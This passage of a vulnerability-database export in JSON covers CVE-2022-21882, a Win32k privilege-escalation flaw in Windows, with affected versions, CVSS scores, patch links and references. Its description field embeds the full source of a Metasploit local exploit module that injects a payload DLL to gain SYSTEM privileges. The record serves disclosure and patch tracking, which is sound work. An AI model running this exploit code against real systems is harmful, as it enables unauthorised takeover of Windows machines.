                  url: "http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html",
               },
               {
                  source: "secure@microsoft.com",
                  tags: [
                     "Patch",
                     "Vendor Advisory",
                  ],
                  url: "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21882",
               },
            ],
            sourceIdentifier: "secure@microsoft.com",
            vulnStatus: "Modified",
            weaknesses: [
               {
                  description: [
                     {
                        lang: "en",
                        value: "CWE-787",
                     },
                  ],
                  source: "nvd@nist.gov",
                  type: "Primary",
               },
            ],
         },
      },
   },
}

{
   "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
      affected_products: {
         "@id": "https://www.variotdbs.pl/ref/affected_products",
      },
      configurations: {
         "@id": "https://www.variotdbs.pl/ref/configurations",
      },
      credits: {
         "@id": "https://www.variotdbs.pl/ref/credits",
      },
      cvss: {
         "@id": "https://www.variotdbs.pl/ref/cvss/",
      },
      description: {
         "@id": "https://www.variotdbs.pl/ref/description/",
      },
      exploit_availability: {
         "@id": "https://www.variotdbs.pl/ref/exploit_availability/",
      },
      external_ids: {
         "@id": "https://www.variotdbs.pl/ref/external_ids/",
      },
      iot: {
         "@id": "https://www.variotdbs.pl/ref/iot/",
      },
      iot_taxonomy: {
         "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/",
      },
      patch: {
         "@id": "https://www.variotdbs.pl/ref/patch/",
      },
      problemtype_data: {
         "@id": "https://www.variotdbs.pl/ref/problemtype_data/",
      },
      references: {
         "@id": "https://www.variotdbs.pl/ref/references/",
      },
      sources: {
         "@id": "https://www.variotdbs.pl/ref/sources/",
      },
      sources_release_date: {
         "@id": "https://www.variotdbs.pl/ref/sources_release_date/",
      },
      sources_update_date: {
         "@id": "https://www.variotdbs.pl/ref/sources_update_date/",
      },
      threat_type: {
         "@id": "https://www.variotdbs.pl/ref/threat_type/",
      },
      title: {
         "@id": "https://www.variotdbs.pl/ref/title/",
      },
      type: {
         "@id": "https://www.variotdbs.pl/ref/type/",
      },
   },
   "@id": "https://www.variotdbs.pl/vuln/VAR-202201-0580",
   affected_products: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
         data: {
            "@container": "@list",
         },
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
            "@id": "https://www.variotdbs.pl/ref/sources",
         },
      },
      data: [
         {
            model: "windows 10 20h2",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.19042.1466",
         },
         {
            model: "windows server 2019",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.17763.2452",
         },
         {
            model: "windows server 2022",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.20348.469",
         },
         {
            model: "windows 11 21h2",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.22000.434",
         },
         {
            model: "windows 10 21h1",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.19043.1466",
         },
         {
            model: "windows 10 1909",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.18363.2037",
         },
         {
            model: "windows server 20h2",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.19042.1466",
         },
         {
            model: "windows 10 1809",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.17763.2452",
         },
         {
            model: "windows 10 21h2",
            scope: "lt",
            trust: 1,
            vendor: "microsoft",
            version: "10.0.19044.1466",
         },
         {
            model: "microsoft windows server",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "2019",
         },
         {
            model: "microsoft windows server",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "2022",
         },
         {
            model: "microsoft windows server",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "2022 (server core installation)",
         },
         {
            model: "microsoft windows server 2022",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "(server core installation)",
         },
         {
            model: "microsoft windows server 2019",
            scope: null,
            trust: 0.8,
            vendor: "マイクロソフト",
            version: null,
         },
         {
            model: "microsoft windows 10",
            scope: null,
            trust: 0.8,
            vendor: "マイクロソフト",
            version: null,
         },
         {
            model: "microsoft windows server",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "20h2 (server core installation)",
         },
         {
            model: "microsoft windows 11",
            scope: null,
            trust: 0.8,
            vendor: "マイクロソフト",
            version: null,
         },
         {
            model: "microsoft windows server 2022",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: null,
         },
         {
            model: "microsoft windows server",
            scope: "eq",
            trust: 0.8,
            vendor: "マイクロソフト",
            version: "2019 (server core installation)",
         },
      ],
      sources: [
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   configurations: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/configurations#",
         children: {
            "@container": "@list",
         },
         cpe_match: {
            "@container": "@list",
         },
         data: {
            "@container": "@list",
         },
         nodes: {
            "@container": "@list",
         },
      },
      data: [
         {
            CVE_data_version: "4.0",
            nodes: [
               {
                  children: [],
                  cpe_match: [
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_server:2022:*:*:*:*:*:*:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:arm64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x64:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                     {
                        cpe23Uri: "cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x86:*",
                        cpe_name: [],
                        vulnerable: true,
                     },
                  ],
                  operator: "OR",
               },
            ],
         },
      ],
      sources: [
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   credits: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/credits#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: "RyeLv (@b2ahex)",
      sources: [
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
      ],
      trust: 0.6,
   },
   cve: "CVE-2022-21882",
   cvss: {
      "@context": {
         cvssV2: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#",
            },
            "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2",
         },
         cvssV3: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#",
            },
            "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/",
         },
         severity: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/cvss/severity#",
            },
            "@id": "https://www.variotdbs.pl/ref/cvss/severity",
         },
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
            "@id": "https://www.variotdbs.pl/ref/sources",
         },
      },
      data: [
         {
            cvssV2: [
               {
                  acInsufInfo: false,
                  accessComplexity: "LOW",
                  accessVector: "LOCAL",
                  authentication: "NONE",
                  author: "NVD",
                  availabilityImpact: "COMPLETE",
                  baseScore: 7.2,
                  confidentialityImpact: "COMPLETE",
                  exploitabilityScore: 3.9,
                  impactScore: 10,
                  integrityImpact: "COMPLETE",
                  obtainAllPrivilege: false,
                  obtainOtherPrivilege: false,
                  obtainUserPrivilege: false,
                  severity: "HIGH",
                  trust: 1,
                  userInteractionRequired: false,
                  vectorString: "AV:L/AC:L/Au:N/C:C/I:C/A:C",
                  version: "2.0",
               },
               {
                  acInsufInfo: null,
                  accessComplexity: "Low",
                  accessVector: "Local",
                  authentication: "None",
                  author: "NVD",
                  availabilityImpact: "Complete",
                  baseScore: 7.2,
                  confidentialityImpact: "Complete",
                  exploitabilityScore: null,
                  id: "CVE-2022-21882",
                  impactScore: null,
                  integrityImpact: "Complete",
                  obtainAllPrivilege: null,
                  obtainOtherPrivilege: null,
                  obtainUserPrivilege: null,
                  severity: "High",
                  trust: 0.9,
                  userInteractionRequired: null,
                  vectorString: "AV:L/AC:L/Au:N/C:C/I:C/A:C",
                  version: "2.0",
               },
            ],
            cvssV3: [
               {
                  attackComplexity: "LOW",
                  attackVector: "LOCAL",
                  author: "NVD",
                  availabilityImpact: "HIGH",
                  baseScore: 7.8,
                  baseSeverity: "HIGH",
                  confidentialityImpact: "HIGH",
                  exploitabilityScore: 1.8,
                  impactScore: 5.9,
                  integrityImpact: "HIGH",
                  privilegesRequired: "LOW",
                  scope: "UNCHANGED",
                  trust: 1,
                  userInteraction: "NONE",
                  vectorString: "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                  version: "3.1",
               },
               {
                  attackComplexity: "HIGH",
                  attackVector: "LOCAL",
                  author: "secure@microsoft.com",
                  availabilityImpact: "HIGH",
                  baseScore: 7,
                  baseSeverity: "HIGH",
                  confidentialityImpact: "HIGH",
                  exploitabilityScore: 1,
                  impactScore: 5.9,
                  integrityImpact: "HIGH",
                  privilegesRequired: "LOW",
                  scope: "UNCHANGED",
                  trust: 1,
                  userInteraction: "NONE",
                  vectorString: "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
                  version: "3.1",
               },
               {
                  attackComplexity: "Low",
                  attackVector: "Local",
                  author: "NVD",
                  availabilityImpact: "High",
                  baseScore: 7.8,
                  baseSeverity: "High",
                  confidentialityImpact: "High",
                  exploitabilityScore: null,
                  id: "CVE-2022-21882",
                  impactScore: null,
                  integrityImpact: "High",
                  privilegesRequired: "Low",
                  scope: "Unchanged",
                  trust: 0.8,
                  userInteraction: "None",
                  vectorString: "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                  version: "3.0",
               },
            ],
            severity: [
               {
                  author: "NVD",
                  id: "CVE-2022-21882",
                  trust: 1.8,
                  value: "HIGH",
               },
               {
                  author: "secure@microsoft.com",
                  id: "CVE-2022-21882",
                  trust: 1,
                  value: "HIGH",
               },
               {
                  author: "CNNVD",
                  id: "CNNVD-202201-802",
                  trust: 0.6,
                  value: "HIGH",
               },
               {
                  author: "VULMON",
                  id: "CVE-2022-21882",
                  trust: 0.1,
                  value: "HIGH",
               },
            ],
         },
      ],
      sources: [
         {
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   description: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/description#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: "Win32k Elevation of Privilege Vulnerability. Microsoft Windows 10 , Windows 11 , Windows Server Has Win32k There is a vulnerability that can elevate privileges due to a flaw in. Microsoft Win32k是美国微软（Microsoft）公司的一个用于Windows多用户管理的系统文件. \nMicrosoft Win32K 存在安全漏洞。以下产品和版本受到影响：Windows 10 Version 21H1 for 32-bit Systems,Windows Server 2022,Windows Server 2022 (Server Core installation),Windows 10 Version 1909 for ARM64-based Systems,Windows 10 Version 20H2 for x64-based Systems,Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows 10 Version 1809 for ARM64-based Systems,Windows Server 2019,Windows Server 2019  (Server Core installation),Windows 10 Version 1909 for 32-bit Systems,Windows 10 Version 1909 for x64-based Systems,Windows 10 Version 21H1 for x64-based Systems,Windows 10 Version 21H1 for ARM64-based Systems,Windows 10 Version 20H2 for 32-bit Systems,Windows 10 Version 20H2 for ARM64-based Systems,Windows Server, version 20H2 (Server Core Installation),Windows 11 for x64-based Systems,Windows 11 for ARM64-based Systems,Windows 10 Version 21H2 for 32-bit Systems,Windows 10 Version 21H2 for ARM64-based Systems,Windows 10 Version 21H2 for x64-based Systems. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = AverageRanking\n\n  include Msf::Post::File\n  include Msf::Post::Windows::Priv\n  include Msf::Post::Windows::Process\n  include Msf::Post::Windows::ReflectiveDLLInjection\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  include Msf::Exploit::Deprecated\n  moved_from 'exploit/windows/local/cve_2021_1732_win32k'\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'Win32k ConsoleControl Offset Confusion',\n          'Description' => %q{\n            A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of\n            NT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being\n            treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to\n            achieve an out of bounds write operation, eventually leading to privilege escalation. \n\n            This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. \n            In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is\n            is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to\n            function on a wider range of Windows 10 targets. \n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            # CVE-2021-1732\n            'BITTER APT', # exploit as used in the wild\n            'JinQuan', # detailed analysis\n            'MaDongZe', # detailed analysis\n            'TuXiaoYi', # detailed analysis\n            'LiHao', # detailed analysis\n            # CVE-2022-21882\n            'L4ys', # github poc\n            # both CVEs\n            'KaLendsi', # github pocs\n            # Metasploit exploit\n            'Spencer McIntyre' # metasploit module\n          ],\n          'Arch' => [ ARCH_X64 ],\n          'Platform' => 'win',\n          'SessionTypes' => [ 'meterpreter' ],\n          'DefaultOptions' => {\n            'EXITFUNC' => 'thread'\n          },\n          'Targets' => [\n            [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]\n          ],\n          'Payload' => {\n            'DisableNops' => true\n          },\n          'References' => [\n            # CVE-2021-1732 references\n            [ 'CVE', '2021-1732' ],\n            [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],\n            [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],\n            [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],\n            [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],\n            # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit\n            [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],\n            [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],\n            [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],\n            [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],\n            # CVE-2022-21882 references\n            [ 'CVE', '2022-21882' ],\n            [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],\n            [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]\n          ],\n          'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date\n          'DefaultTarget' => 0,\n          'Notes' => {\n            'Stability' => [ CRASH_OS_RESTARTS, ],\n            'Reliability' => [ REPEATABLE_SESSION, ],\n            'SideEffects' => []\n          }\n        }\n      )\n    )\n  end\n\n  def check\n    sysinfo_value = sysinfo['OS']\n\n    if sysinfo_value !~ /windows/i\n      # Non-Windows systems are definitely not affected. \n      return Exploit::CheckCode::Safe\n    end\n\n    build_num = sysinfo_value.match(/\\w+\\d+\\w+(\\d+)/)[0].to_i\n    vprint_status(\"Windows Build Number = #{build_num}\")\n\n    unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)\n      print_error('The exploit only supports Windows 10 versions 1803 - 21H2')\n      return CheckCode::Safe\n    end\n\n    CheckCode::Appears\n  end\n\n  def exploit\n    if is_system?\n      fail_with(Failure::None, 'Session is already elevated')\n    end\n\n    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n    end\n\n    encoded_payload = payload.encoded\n    execute_dll(\n      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),\n      [encoded_payload.length].pack('I<') + encoded_payload\n    )\n\n    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n  end\nend\n",
      sources: [
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            db: "PACKETSTORM",
            id: "166169",
         },
      ],
      trust: 2.34,
   },
   external_ids: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
         data: {
            "@container": "@list",
         },
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: [
         {
            db: "NVD",
            id: "CVE-2022-21882",
            trust: 3.4,
         },
         {
            db: "PACKETSTORM",
            id: "166169",
            trust: 1.7,
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
            trust: 0.8,
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
            trust: 0.6,
         },
         {
            db: "VULMON",
            id: "CVE-2022-21882",
            trust: 0.1,
         },
      ],
      sources: [
         {
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "PACKETSTORM",
            id: "166169",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   id: "VAR-202201-0580",
   iot: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/iot#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: true,
      sources: [
         {
            db: "VARIoT devices database",
            id: null,
         },
      ],
      trust: 1,
   },
   last_update_date: "2024-07-25T03:57:49.081000Z",
   patch: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/patch#",
         data: {
            "@container": "@list",
         },
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: [
         {
            title: "Win32k Elevation of Privilege Vulnerability Security Update Guide",
            trust: 0.8,
            url: "https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/cve-2022-21882",
         },
         {
            title: "Microsoft Win32k Security vulnerabilities",
            trust: 0.6,
            url: "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=184439",
         },
         {
            title: "CVE-2022-21882",
            trust: 0.1,
            url: "https://github.com/l4ys/cve-2022-21882 ",
         },
         {
            title: "cve-2022-21882-poc",
            trust: 0.1,
            url: "https://github.com/sailay1996/cve-2022-21882-poc ",
         },
         {
            title: "CVE-2021-1732",
            trust: 0.1,
            url: "https://github.com/r1l4-i3pur1l4/cve-2021-1732 ",
         },
         {
            title: "CVE-2022-21882",
            trust: 0.1,
            url: "https://github.com/david-honisch/cve-2022-21882 ",
         },
         {
            title: "CVE-2022-21882",
            trust: 0.1,
            url: "https://github.com/kalendsi/cve-2022-21882 ",
         },
         {
            title: "CVE-2022-21882",
            trust: 0.1,
            url: "https://github.com/dishfwk/cve-2022-21882 ",
         },
         {
            title: "CVE-2022-21882",
            trust: 0.1,
            url: "https://github.com/r1l4-i3pur1l4/cve-2022-21882 ",
         },
         {
            title: "exp_x64 code by 1900",
            trust: 0.1,
            url: "https://github.com/legendsaber/exp_x64 ",
         },
      ],
      sources: [
         {
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
      ],
   },
   problemtype_data: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: [
         {
            problemtype: "CWE-787",
            trust: 1,
         },
         {
            problemtype: "Improper authority management (CWE-269) [NVD Evaluation ]",
            trust: 0.8,
         },
      ],
      sources: [
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   references: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/references#",
         data: {
            "@container": "@list",
         },
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: [
         {
            trust: 2.2,
            url: "http://packetstormsecurity.com/files/166169/win32k-consolecontrol-offset-confusion-privilege-escalation.html",
         },
         {
            trust: 1.6,
            url: "https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/cve-2022-21882",
         },
         {
            trust: 1.5,
            url: "https://nvd.nist.gov/vuln/detail/cve-2022-21882",
         },
         {
            trust: 0.8,
            url: "https://www.ipa.go.jp/security/ciadr/vul/20220112-ms.html",
         },
         {
            trust: 0.8,
            url: "https://www.jpcert.or.jp/at/2022/at220002.html",
         },
         {
            trust: 0.6,
            url: "https://msrc.microsoft.com/update-guide/vulnerability/cve-2022-21882",
         },
         {
            trust: 0.6,
            url: "https://vigilance.fr/vulnerability/windows-vulnerabilities-de-decembre-2021-37219",
         },
         {
            trust: 0.1,
            url: "https://nvd.nist.gov/vuln/detail/cve-2021-1732",
         },
         {
            trust: 0.1,
            url: "https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e'",
         },
         {
            trust: 0.1,
            url: "https://msrc.microsoft.com/update-guide/vulnerability/cve-2021-1732'",
         },
         {
            trust: 0.1,
            url: "https://www.fuzzysecurity.com/tutorials/expdev/22.html'",
         },
         {
            trust: 0.1,
            url: "https://github.com/rapid7/metasploit-framework",
         },
         {
            trust: 0.1,
            url: "https://github.com/l4ys/cve-2022-21882'",
         },
         {
            trust: 0.1,
            url: "https://github.com/kalendsi/cve-2022-21882'",
         },
         {
            trust: 0.1,
            url: "https://metasploit.com/download",
         },
         {
            trust: 0.1,
            url: "https://github.com/kalendsi/cve-2021-1732-exploit'",
         },
         {
            trust: 0.1,
            url: "https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html'",
         },
         {
            trust: 0.1,
            url: "https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm'",
         },
         {
            trust: 0.1,
            url: "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/'",
         },
         {
            trust: 0.1,
            url: "https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html'",
         },
      ],
      sources: [
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "PACKETSTORM",
            id: "166169",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   sources: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/sources#",
         data: {
            "@container": "@list",
         },
      },
      data: [
         {
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            db: "PACKETSTORM",
            id: "166169",
         },
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   sources_release_date: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
         data: {
            "@container": "@list",
         },
      },
      data: [
         {
            date: "2022-01-11T00:00:00",
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            date: "2022-01-21T00:00:00",
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            date: "2022-02-28T16:49:05",
            db: "PACKETSTORM",
            id: "166169",
         },
         {
            date: "2022-01-11T00:00:00",
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            date: "2022-01-11T21:15:11.507000",
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   sources_update_date: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
         data: {
            "@container": "@list",
         },
      },
      data: [
         {
            date: "2023-12-21T00:00:00",
            db: "VULMON",
            id: "CVE-2022-21882",
         },
         {
            date: "2022-01-21T06:03:00",
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
         {
            date: "2022-03-10T00:00:00",
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
         {
            date: "2024-07-24T16:48:20.753000",
            db: "NVD",
            id: "CVE-2022-21882",
         },
      ],
   },
   threat_type: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: "local",
      sources: [
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
      ],
      trust: 0.6,
   },
   title: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/title#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: "plural  Microsoft Windows  Elevated authority vulnerabilities in products",
      sources: [
         {
            db: "JVNDB",
            id: "JVNDB-2022-001057",
         },
      ],
      trust: 0.8,
   },
   type: {
      "@context": {
         "@vocab": "https://www.variotdbs.pl/ref/type#",
         sources: {
            "@container": "@list",
            "@context": {
               "@vocab": "https://www.variotdbs.pl/ref/sources#",
            },
         },
      },
      data: "other",
      sources: [
         {
            db: "CNNVD",
            id: "CNNVD-202201-802",
         },
      ],
      trust: 0.6,
   },
}